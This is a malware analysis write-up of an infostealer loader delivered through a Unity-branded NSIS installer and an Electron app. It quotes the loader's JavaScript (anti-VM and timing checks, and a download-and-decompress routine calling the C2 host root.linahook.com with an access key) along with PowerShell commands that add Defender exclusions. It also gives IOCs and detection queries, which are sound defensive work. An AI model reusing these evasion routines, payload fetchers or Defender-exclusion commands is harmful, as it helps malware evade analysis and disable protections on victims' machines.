LinaStealer Unity NSIS Electron Loader: Multi-Stage Infostealer Campaign Analysis
I picked this sample as a learning exercise because it looked relatively quiet in the wild yet had enough depth to practice a full chain analysis. As I went along what stood out to me was the mix of legitimate frameworks (Unity, NSIS, Electron) used for delivery, which made it a good case study for tracing intent across stages and documenting this campaign.
Executive Summary
I analyzed a multi-stage loader campaign that leverages legitimate development frameworks (Unity, Electron, Node.js) to deploy an information stealing payload. I observed modern evasion techniques including Brotli compression, Cloudflare infrastructure fronting, anti-VM detection, and Windows Defender exclusion attempts.
Key Findings:
- Four-stage delivery chain culminating in an infostealer binary
- Cloudflare-fronted C2 infrastructure (
root.linahook.com) - Privilege-dependent payload delivery
- Brotli compression for payload obfuscation
- Anti-analysis and anti-VM capabilities
- Failed final payload retrieval due to gated infrastructure
Campaign Architecture
Stage 1: Initial Sample Analysis
Packer Identification
Initial triage with PEiD revealed:
Nullsoft PiMP Stub packer
PEiD identified it as NSIS, which is commonly used for legit installers but gets abused by malware all the time.
Extraction
Extraction was straightforward using 7-Zip:
7z x sample.exe -oextracted
Extracted Contents:
- NSIS core components
- Plugin DLLs (
nsExec.dll,WinShell.dll) app-64.7z(Electron application archive)$PLUGINSDIRdirectory- Electron framework artifacts:
chrome_100_percent.pak - Electron framework artifacts:
icudtl.dat - Electron framework artifacts:
LICENSE.electron.txt
Behavioral Observations
Sandbox analysis (Hybrid Analysis, Any.Run) confirmed:
- Unity-branded installer UI displaying "Installing, please wait..."
- NSIS module execution
- Electron process spawning
- Network connection attempts to
root.linahook.com
Key Insight: The Unity installer interface is purely cosmetic. The malicious logic resides entirely within the embedded Electron application.
Electron Loader Analysis: Extracting the JavaScript Payload
Archive Extraction
The Electron application was packaged in ASAR format, an Electron archive type:
npx asar extract app.asar extracted_app
Extracted Files:
defaultIcon_coremain_348.ico- Application iconpackage.json- Node.js package manifestromeogolfkilotan.js- Malicious JavaScript loader
Package Configuration
The package.json revealed the entry point:
{
"name": "error404",
"description": "XBOXApp",
"main": "romeogolfkilotan.js",
"version": "1.0.0"
}
JavaScript Loader Analysis
The romeogolfkilotan.js file contains the core malicious logic. Below are key code segments:
Hardcoded Infrastructure
const SERVER_URL = "linahook.com";
const KEY = "DA1966FECFE2";
// Download URL construction
const downloadUrl = `https://root.${SERVER_URL}/download/${fileName}`;
Notable characteristics:
- Minimal obfuscation - infrastructure is hardcoded
- Simple string concatenation for URL building
- Consistent naming pattern across infrastructure
Privilege-Based File Selection
let files;
if (isRunningAsAdmin) {
files = [
{ name: 'save_data', requiresAdmin: true },
{ name: 'stats_db' },
{ name: 'game_cache' }
];
} else {
files = [
{ name: 'stats_db' },
{ name: 'game_cache' }
];
silentLog('Running without admin privileges - limited file access');
}
Analysis:
- Admin detection determines payload delivery
- Additional
save_datacomponent only delivered to admin-level execution - Suggests
save_datarequires elevated privileges for its operations - Likely targets system-level credential stores or protected data
Anti-VM Detection
The loader implements multiple VM detection checks:
const detectVirtualEnvironment = () => {
const vmIndicators = [
() => {
const hostname = os.hostname().toLowerCase();
const vmNames = ['vm', 'virtual', 'sandbox', 'malware', 'test', 'analysis', 'vbox', 'vmware'];
return vmNames.some(name => hostname.includes(name));
},
() => os.totalmem() < 2 * 1024 * 1024 * 1024,
() => os.cpus().length < 2,
() => {
const username = os.userInfo().username.toLowerCase();
const suspiciousUsers = ['malware', 'virus', 'sandbox', 'analyst', 'test', 'vm', 'user', 'admin'];
return suspiciousUsers.some(name => username.includes(name));
}
];
let vmScore = 0;
// Scoring logic...
if (vmScore >= 2) {
// VM detected, alter behavior
}
}
Detection Methods:
- Hostname analysis - Checks for common VM/analysis keywords
- Memory threshold - Flags systems with less than 2GB RAM
- CPU core count - Flags systems with less than 2 cores
- Username analysis - Checks for analyst/sandbox account names
Evasion Strategy: Uses a scoring system instead of just bailing out. Lets it change behavior subtly instead of obviously crashing, which makes analysis harder.
Timing-Based Detection
const timingBasedDetection = () => {
const iterations = 100000;
const start = process.hrtime.bigint();
let result = 0;
for (let i = 0; i < iterations; i++) {
result += Math.sqrt(i) * Math.random();
}
const end = process.hrtime.bigint();
// Analyze execution time for VM artifacts
}
Purpose: timing-based detection is mainly used to evade sandbox analysis and VM detection.
Stage 2: Runtime Behavior Analysis
Process monitoring with Process Monitor (ProcMon) showed the following execution chain:
1. Administrator Privilege Check
node.exe -> cmd.exe /c "net session"
The net session command returns:
- Success (exit code 0): Running as admin
- Error (exit code 2): Running as standard user
Purpose: Determines privilege level for conditional payload delivery.
2. Windows Defender Exclusion Attempts
Multiple PowerShell commands were spawned to add Defender exclusions:
powershell -Command "Add-MpPreference -ExclusionPath C:\Users\<user>\AppData\Local\AppData"
powershell -Command "Add-MpPreference -ExclusionPath C:\Users\<user>\AppData\Local\CacheData"
powershell -Command "Add-MpPreference -ExclusionPath C:\Users\<user>\AppData\Local\WindowsCache"
powershell -Command "Add-MpPreference -ExclusionPath C:\Users\<user>\AppData\Local\TempData"
powershell -Command "Add-MpPreference -ExclusionPath C:\Users\<user>\AppData\Local\SystemData"
Characteristics:
- Randomized subdirectory names under
%LOCALAPPDATA% - Legitimate looking folder names (AppData, CacheData, SystemData)
- Multiple attempts to establish persistence directories
- Executed before payload download to evade real-time scanning
3. Privilege Escalation Attempt
The loader attempted to execute:
elevate
Identified Tool: jpassing/elevate
Purpose: The tool allows you to start a program with elevated privileges.
4. Payload Download and Staging
File Requests
The loader requested the following files from the C2:
Admin Context:
save_data.exe.brstats_db.exe.brgame_cache.exe.br
Non-Admin Context:
stats_db.exe.brgame_cache.exe.br
Download Process
// Download compressed payload
const response = await fetch(downloadUrl, {
headers: {
'User-Agent': 'Mozilla/5.0 ...',
'X-Key': KEY
}
});
// Save to disk
fs.writeFileSync(`${fileName}.exe.br`, buffer);
// Decompress using Node's zlib
const compressed = fs.readFileSync(`${fileName}.exe.br`);
const decompressed = zlib.brotliDecompressSync(compressed);
fs.writeFileSync(`${fileName}.exe`, decompressed);
// Clean up compressed file
fs.unlinkSync(`${fileName}.exe.br`);
The payload is Brotli-compressed (.exe.br), which means it stays compressed during download and only gets decompressed right before execution. Static AV cannot scan it until it hits the disk as an actual .exe.
Dynamic Analysis Challenges: FakeNet and TLS Issues
TLS Certificate Validation Issue
Problem: FakeNet-NG's self-signed certificate was rejected by Node.js (this took so long to figure out):
HTTPS request error: unable to verify the first certificate
Solution: Disabled TLS verification in test environment (probably not the best solution but we are already playing with malware so this was a lab-only workaround):
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
Corrupted Brotli File
After resolving TLS issues:
save_data.exe.br downloaded successfully
Decompressing save_data.exe.br to save_data.exe
Error: ERR_ERROR_FORMAT_RESERVED
Root Cause:
Opened up save_data.exe.br and found HTML content from FakeNet's default response page. Not a valid Brotli stream at all.
What actually happened:
Initially thought I was being trolled by the malware - like a nod that they knew I was running FakeNet. But after digging into it, FakeNet just intercepted the request and served its default HTML response when the malware expected a Brotli-compressed executable. The malware tried to decompress it and failed.
What this proved:
- The download mechanism works - malware successfully built the URL, made the request, got a response
- The decompression logic is real - it actually tried to Brotli decompress what it received
- The malware is not faking activity - it is legitimately trying to grab and execute a payload
What this didn't prove:
Whether the C2 is actually live. FakeNet intercepted before the request ever hit root.linahook.com. To know if the real C2 is active, I would have to let the request through to the actual server, and considering I do not know what is on the other side, I am not doing that.
Bottom line: Stage 3 payload was never actually retrieved from the real C2 infrastructure.
Tiny Tweaks To Their Code
To improve observability during analysis:
1. Disabled Self-Deletion:
// COMMENTED OUT for analysis
// fs.unlinkSync(exeBrPath);
This preserved downloaded files on disk for inspection.
2. Enhanced Logging:
Added console output to silentLog() calls to track execution flow.
3. Forced Execution Paths:
Manually triggered specific code branches to observe behavior without meeting runtime conditions. Broke this sample down to stages to closely monitor.
Infrastructure Analysis
Domain Intelligence
Primary C2 Domain:
root.linahook.com
DNS Resolution
Observed IP Addresses:
104.21.28.132172.67.146.52
ASN: AS13335 (Cloudflare, Inc.)
Issue: Full Cloudflare fronting obscures the true backend infrastructure. Traditional IP-based analysis is ineffective.
Authentication Mechanism
Hardcoded Key:
DA1966FECFE2
Hypothesis: This key is likely used for:
- Request authentication on the C2 backend
- Payload gating (prevents random access to payloads)
- Campaign tracking (different keys = different campaigns)
Validation: Server-side key validation before payload delivery would explain why arbitrary requests fail.
OSINT Intelligence Gathering
Related Campaign Discovery
Unable to retrieve live payloads, I pivoted to OSINT platforms.
Pattern Matching: Found related samples on malware analysis platforms with identical characteristics:
Related Campaign: Aetna-Themed Distribution
- Unity-branded installer wrapper
- NSIS extraction stage
- Electron/Node.js loader
- Brotli payload compression
- Cloudflare-fronted infrastructure
- Identical URL pattern:
/download/<fileName> - Similar file naming conventions
Conclusion: I believe this is not a one-off attack but part of a broader Malware-as-a-Service (MaaS) operation with multiple themed campaigns.
Detection Engineering
Behavioral Indicators
Process Chain Anomalies:
node.exe
|-- cmd.exe /c "net session"
|-- powershell.exe -Command "Add-MpPreference -ExclusionPath ..."
`-- elevate.exe
Detection Logic:
Process = "node.exe"
AND CommandLine contains "net session"
AND ParentProcess = "Electron.exe" OR "node.exe"
File System Artifacts:
- Random directory creation in
%LOCALAPPDATA% - Presence of
.exe.brfiles (Brotli compressed executables) - Files named
save_data,stats_db,game_cachewithout extensions
Network Indicators:
- Outbound HTTPS to
root.linahook.com - User-Agent string from Node.js/Electron context
- Custom headers (e.g.,
X-Key)
Starter Hunts I'd Run
Quick pivots for triage
// Quick pivot: electron/node doing admin check or Defender tampering
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName in~ ("electron.exe","node.exe")
| where
// Admin check pattern
(FileName =~ "cmd.exe" and ProcessCommandLine has_all ("net","session"))
or
// Defender exclusion attempt
(FileName in~ ("powershell.exe","pwsh.exe") and ProcessCommandLine has "Add-MpPreference")
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| order by TimeGenerated desc
// Quick pivot: pull the -ExclusionPath value (if present)
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine has "Add-MpPreference"
| where ProcessCommandLine has "-ExclusionPath"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| order by Timestamp desc
High-Signal Process Chain
electron.exe/node.exe->cmd.exe /c net sessionelectron.exe/node.exe->powershell.exe Add-MpPreference ...electron.exe/node.exe-> download.exe.br-> decompress -> execute
MITRE ATT&CK Mapping
| ID | Technique | Observed |
|---|---|---|
| T1566.001 | Spearphishing Attachment | Unity installer delivered via phishing |
| T1204.002 | User Execution: Malicious File | User executes fake installer |
| T1059.007 | Command and Scripting Interpreter: JavaScript | Node.js/Electron loader execution |
| T1543 | Create or Modify System Process | Attempted via elevated privileges |
| T1548 | Abuse Elevation Control Mechanism | Uses `elevate` tool |
| T1562.001 | Impair Defenses: Disable or Modify Tools | Windows Defender exclusions |
| T1027.002 | Software Packing | NSIS wrapper and Brotli compression |
| T1497.001 | Virtualization/Sandbox Evasion | VM detection checks |
| T1082 | System Information Discovery | Hostname, username, CPU, memory checks |
| T1033 | Account Discovery | `net session` admin check |
| T1071.001 | Web Protocols: HTTPS | HTTPS to Cloudflare-fronted C2 |
| T1105 | Ingress Tool Transfer | Payload download from C2 |
Unity installer delivered via phishing
User executes fake installer
Node.js/Electron loader execution
Attempted via elevated privileges
Uses `elevate` tool
Windows Defender exclusions
NSIS wrapper and Brotli compression
VM detection checks
Hostname, username, CPU, memory checks
`net session` admin check
HTTPS to Cloudflare-fronted C2
Payload download from C2
Indicators of Compromise (IOCs)
File Hashes
Sample Hash (SHA256):
9fdf4415759c6535a3e7464458954143a7e0bfee97eadcfcf3d635a90caa202f
c7d5aca2305595bcb2c05fb7da6ca08789892d6bdd174fa93fa1afeb744bfa80
f4b1c2b023daf6d549159564728d2e30906c0a3783c36d064ab86d05c2c040c4
Network Indicators
Domains:
linahook.com
root.linahook.com
IP Addresses:
104.21.28.132 (Cloudflare)
172.67.146.52 (Cloudflare)
URLs:
https://root.linahook.com/download/save_data
https://root.linahook.com/download/stats_db
https://root.linahook.com/download/game_cache
File Artifacts
Filenames:
save_data.exe.br
save_data.exe
stats_db.exe.br
stats_db.exe
game_cache.exe.br
game_cache.exe
romeogolfkilotan.js
defaultIcon_coremain_348.ico
File Paths:
%LOCALAPPDATA%\AppData\
%LOCALAPPDATA%\CacheData\
%LOCALAPPDATA%\WindowsCache\
%LOCALAPPDATA%\TempData\
%LOCALAPPDATA%\SystemData\
Registry Keys
Defender Exclusions:
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\
C:\Users\<username>\AppData\Local\AppData
C:\Users\<username>\AppData\Local\CacheData
C:\Users\<username>\AppData\Local\WindowsCache
Authentication Keys
DA1966FECFE2
Conclusions
I observed a well-architected, multi-stage loader with the following characteristics:
Technical Sophistication
- Legitimate Framework Abuse: Leverages Unity branding, NSIS installer, and Electron to appear legitimate
- Layered Defense Evasion: NSIS extraction, Brotli compression, Cloudflare fronting, anti-VM detection, Defender exclusion
- Privilege-Aware Delivery: Conditional payload delivery based on admin status
- Modern Infrastructure: Cloud-fronted C2 infrastructure prevents IP-based blocking
Campaign Scale
I believe this is not an isolated incident but part of a broader MaaS ecosystem:
- Multiple themed campaigns (Unity, Aetna)
- Consistent infrastructure patterns
- Reusable loader framework
- Professional operational security
Analysis Limitations
Final payload not recovered due to:
- C2 infrastructure gating (key-based authentication)
- Potential IP/region-based access control
- Time-based payload availability
- Lab environment fingerprinting
Despite this limitation, the loader chain was fully reconstructed and validated through:
- Static binary extraction
- JavaScript code analysis
- Runtime behavioral monitoring
- Controlled lab execution
- OSINT correlation
References
Malware Analysis Platforms
Tools Used
- PEiD - Packer identification
- 7-Zip - NSIS extraction
- npx/asar - Electron archive extraction
- Process Monitor - Runtime behavioral analysis
- FakeNet-NG - Network traffic interception
- Node.js - JavaScript analysis and controlled execution